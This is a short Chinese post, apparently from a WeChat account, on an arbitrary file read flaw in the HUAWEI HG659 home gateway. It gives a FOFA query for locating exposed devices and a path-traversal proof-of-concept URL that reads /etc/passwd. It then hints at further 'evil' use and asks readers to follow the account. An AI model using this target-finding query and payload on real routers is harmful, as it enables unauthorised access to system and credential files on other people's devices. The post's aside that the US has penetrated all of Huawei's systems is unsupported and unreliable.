HUAWEI HG659任意文件读取漏洞

1.漏洞描述

HUAWEI HG659 lib存在任意文件读取漏洞，攻击者可通过该漏洞读取任意文件。

2.网络资产查找

FOFA：app="HUAWEI-Home-Gateway-HG659"

3.POC

/lib///....//....//....//....//....//....//....//....//etc//passwd

我们的光猫/路由器的操作系统都是类Unix系统，跟你用Linux差不多，个别命令有所区别。我们团队的老师就破解过华为的光纤猫改桥接等操作。

为啥 鹰酱 禁用我们华为技术呢，确实他们已经把华为的各个系统渗透了个遍

到这里我想不需要我们过多的解释了，但凡您有点Linux基础，就知道这个passwd文件我们已经获取到了。下面其实就是发挥您想象力的时候了，既然/etc/passwd都可以读取，那么其他的内容是不是也可以呢！由于后续操作过于邪恶，这里我们就不再继续探讨了。关注我们不断为大家提供技术干货！

原文始发于微信公众号（小白嘿课）：HUAWEI HG659任意文件读取漏洞